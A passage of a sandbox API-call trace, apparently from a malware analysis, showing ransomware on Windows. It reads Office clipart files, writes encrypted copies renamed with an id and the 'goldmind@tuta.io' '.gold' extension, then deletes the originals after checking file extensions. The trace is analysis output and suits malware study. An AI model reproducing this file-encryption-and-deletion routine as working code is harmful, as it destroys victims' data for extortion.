Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0096.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.180] lstrlenW (lpString=".doc") returned 4 [0096.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.180] lstrlenW (lpString=".docx") returned 5 [0096.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.180] lstrlenW (lpString=".pdf") returned 4 [0096.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.180] lstrlenW (lpString=".xls") returned 4 [0096.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.181] lstrlenW (lpString=".xlsx") returned 5 [0096.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.181] lstrlenW (lpString=".ppt") returned 4 [0096.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.181] lstrlenW (lpString=".zip") returned 4 [0096.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.181] lstrlenW (lpString=".rar") returned 4 [0096.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString=".bz2") returned 4 [0096.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString=".7z") returned 3 [0096.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.181] lstrlenW (lpString=".dbf") returned 4 [0096.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.181] lstrlenW (lpString=".1cd") returned 4 [0096.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.181] lstrlenW (lpString=".jpg") returned 4 [0096.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.181] lstrlenW (lpString=".doc") returned 4 [0096.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString=".docx") returned 5 [0096.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.181] lstrlenW (lpString=".pdf") returned 4 [0096.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString=".xls") returned 4 [0096.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.181] lstrlenW (lpString=".xlsx") returned 5 [0096.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.181] lstrlenW (lpString=".ppt") returned 4 [0096.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.181] lstrlenW (lpString=".zip") returned 4 [0096.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.181] lstrlenW (lpString=".rar") returned 4 [0096.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.181] lstrlenW (lpString=".bz2") returned 4 [0096.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.182] lstrlenW (lpString=".7z") returned 3 [0096.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.182] lstrlenW (lpString=".dbf") returned 4 [0096.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.182] lstrlenW (lpString=".1cd") returned 4 [0096.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0096.182] lstrlenW (lpString=".jpg") returned 4 [0096.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.182] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.182] lstrlenW (lpString="FD01176_.WMF") returned 12 [0096.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.182] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4984) returned 1 [0096.182] CloseHandle (hObject=0x3a0) returned 1 [0096.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0096.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.183] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.183] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.184] GetLastError () returned 0x0 [0096.184] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1378, lpOverlapped=0x0) returned 1 [0096.185] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0096.186] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.186] WriteFile (in: hFile=0x19c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.186] SetEndOfFile (hFile=0x19c) returned 1 [0096.186] CloseHandle (hObject=0x19c) returned 1 [0096.186] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.186] SetEndOfFile (hFile=0x3a0) returned 1 [0096.188] CloseHandle (hObject=0x3a0) returned 1 [0096.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0096.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.189] lstrlenW (lpString=".doc") returned 4 [0096.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString=".docx") returned 5 [0096.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.189] lstrlenW (lpString=".pdf") returned 4 [0096.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString=".xls") returned 4 [0096.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.189] lstrlenW (lpString=".xlsx") returned 5 [0096.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.189] lstrlenW (lpString=".ppt") returned 4 [0096.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.189] lstrlenW (lpString=".zip") returned 4 [0096.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.189] lstrlenW (lpString=".rar") returned 4 [0096.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString=".bz2") returned 4 [0096.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString=".7z") returned 3 [0096.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.189] lstrlenW (lpString=".dbf") returned 4 [0096.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.189] lstrlenW (lpString=".1cd") returned 4 [0096.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.189] lstrlenW (lpString=".jpg") returned 4 [0096.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.189] lstrlenW (lpString=".doc") returned 4 [0096.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.189] lstrlenW (lpString=".docx") returned 5 [0096.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.190] lstrlenW (lpString=".pdf") returned 4 [0096.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.190] lstrlenW (lpString=".xls") returned 4 [0096.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.190] lstrlenW (lpString=".xlsx") returned 5 [0096.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.190] lstrlenW (lpString=".ppt") returned 4 [0096.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.190] lstrlenW (lpString=".zip") returned 4 [0096.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.190] lstrlenW (lpString=".rar") returned 4 [0096.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.190] lstrlenW (lpString=".bz2") returned 4 [0096.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.190] lstrlenW (lpString=".7z") returned 3 [0096.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.190] lstrlenW (lpString=".dbf") returned 4 [0096.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.190] lstrlenW (lpString=".1cd") returned 4 [0096.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0096.190] lstrlenW (lpString=".jpg") returned 4 [0096.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.190] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.190] lstrlenW (lpString="FD01191_.WMF") returned 12 [0096.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0096.266] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3964) returned 1 [0096.266] CloseHandle (hObject=0x3b0) returned 1 [0096.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0096.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0096.471] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.471] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0096.471] GetLastError () returned 0x0 [0096.471] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xf7c, lpOverlapped=0x0) returned 1 [0096.486] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0096.486] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.487] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.487] SetEndOfFile (hFile=0x3c8) returned 1 [0096.487] CloseHandle (hObject=0x3c8) returned 1 [0096.487] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.487] SetEndOfFile (hFile=0x38c) returned 1 [0096.488] CloseHandle (hObject=0x38c) returned 1 [0096.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0096.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.490] lstrlenW (lpString=".doc") returned 4 [0096.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.490] lstrlenW (lpString=".docx") returned 5 [0096.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.490] lstrlenW (lpString=".pdf") returned 4 [0096.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.490] lstrlenW (lpString=".xls") returned 4 [0096.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.490] lstrlenW (lpString=".xlsx") returned 5 [0096.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.490] lstrlenW (lpString=".ppt") returned 4 [0096.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.490] lstrlenW (lpString=".zip") returned 4 [0096.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.490] lstrlenW (lpString=".rar") returned 4 [0096.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.490] lstrlenW (lpString=".bz2") returned 4 [0096.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.490] lstrlenW (lpString=".7z") returned 3 [0096.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.490] lstrlenW (lpString=".dbf") returned 4 [0096.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.491] lstrlenW (lpString=".1cd") returned 4 [0096.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.491] lstrlenW (lpString=".jpg") returned 4 [0096.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.491] lstrlenW (lpString=".doc") returned 4 [0096.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString=".docx") returned 5 [0096.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.491] lstrlenW (lpString=".pdf") returned 4 [0096.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString=".xls") returned 4 [0096.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.491] lstrlenW (lpString=".xlsx") returned 5 [0096.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.491] lstrlenW (lpString=".ppt") returned 4 [0096.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.491] lstrlenW (lpString=".zip") returned 4 [0096.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.491] lstrlenW (lpString=".rar") returned 4 [0096.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString=".bz2") returned 4 [0096.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString=".7z") returned 3 [0096.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.491] lstrlenW (lpString=".dbf") returned 4 [0096.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.491] lstrlenW (lpString=".1cd") returned 4 [0096.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0096.491] lstrlenW (lpString=".jpg") returned 4 [0096.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.492] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.492] lstrlenW (lpString="FD01548_.WMF") returned 12 [0096.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0096.492] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=10316) returned 1 [0096.492] CloseHandle (hObject=0x38c) returned 1 [0096.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0096.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0096.493] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.493] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0096.493] GetLastError () returned 0x0 [0096.493] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x284c, lpOverlapped=0x0) returned 1 [0096.534] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2850, lpOverlapped=0x0) returned 1 [0096.535] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.535] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.535] SetEndOfFile (hFile=0x3c8) returned 1 [0096.535] CloseHandle (hObject=0x3c8) returned 1 [0096.535] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.535] SetEndOfFile (hFile=0x38c) returned 1 [0096.536] CloseHandle (hObject=0x38c) returned 1 [0096.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0096.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.537] lstrlenW (lpString=".doc") returned 4 [0096.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.537] lstrlenW (lpString=".docx") returned 5 [0096.537] lstrcmpiW (lpString1=".docx", 